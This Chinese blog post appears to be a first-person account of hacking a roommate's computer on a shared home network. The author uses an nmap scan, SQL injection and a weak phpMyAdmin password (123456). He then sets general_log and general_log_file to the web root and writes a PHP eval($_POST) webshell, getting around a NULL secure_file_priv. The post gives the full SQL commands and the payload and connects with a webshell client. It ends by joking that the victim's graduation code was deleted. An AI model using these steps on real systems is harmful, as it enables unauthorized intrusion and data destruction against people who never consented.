美文网首页
一次phpmyadmin突破secure_file_priv写s

一次phpmyadmin突破secure_file_priv写s

作者: zzqsmile | 来源:发表于2019-03-27 11:10 被阅读0次

晚上下闲来无事,租的公寓一共两间房,我和另外一个同学各住一间,隔壁一墙之隔的他正在打游戏,我比较爱学习,随便玩玩,就突然引发了一次简单渗透。。。 无关紧要的过程就不写了,下面简单记录下主要有用的步骤。

  • 首先nmap扫描内网发现

发现内网里面存活的主机,不多,简单排除下,估计192.168.1.101就是隔壁室友的电脑了,发现803306端口

图片.png
  • 访问下80,如下图,最近在做毕业设计,很明显这是他的电脑,里面还有sql注入演练平台,phpMyAdmin桌面控制.
    图片.png
图片.png
  • 首先手工回顾一下sql注入吧,忘得差不多了都,整个过程我就不记录了,就记录用到的如下:
  1. 获取数据库路径
D:\phpstudy\PHPTutorial\MySQL\data\
图片.png
  1. 获取数据库版本5.5.53

    图片.png
  2. 获取当前连接数据库用户


    图片.png
  3. 获取当前数据库security

图片.png
  • 最后直接准备写webshell,看能不能拿下。
图片.png

发现由于secure_file_priv权限问题,没戏。心有不甘,继续看看吧!

  • phpmyadmin后台登录看看
图片.png

猜测密码应该不复杂,简单测试下,发现密码123456弱口令,然后sql语句写webshell也是一样,不能够写入如下:

图片.png
  • 下面就是本次记录的关键地方了
  1. 查看secure_file_priv值,结果如下为NULL,说明不能使用loadfile,into outfile进行读写文件。
show global variables like 'secure_file_priv';
图片.png
  1. 接下来就是要突破这一限制,写webshell。
mysql中有两个全局变量是我们getshell需要用到的重要变量:
general_log
general_log_file

general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
  1. general_log_file 就是操作日志存放的路径:
    show variables like 'general_log%';
图片.png

注:此处的操作日志路径并不是默认的,因为之前做过一遍已经将其修改了

  • 接下来就要getshell

1.首先打开操作日志记录
set global general_log = 'ON';

图片.png 图片.png

2.设置操作记录日志路径
set global general_log_file='路径地址'

set global general_log_file='D:\\phpstudy\\PHPTutorial\\WWW\\zzqsmile.php'

这里我再换个目录存放操作日志,即在网站根目录

图片.png

3.执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中,就可以getshell了

select '<?php phpinfo();@eval($_POST[zzqsmile]);?>'
图片.png

4.访问webshell,如下,没问题,然后上菜刀砍他!

图片.png 图片.png 图片.png

打游戏的注意了,毕业设计写的代码被删了!好好学习吧。

参考
https://c1h3ng.github.io/web/2017/11/06/phpmyadmin-getshell/

相关文章

网友评论

      本文标题:一次phpmyadmin突破secure_file_priv写s

      本文链接:https://www.haomeiwen.com/subject/glyovqtx.html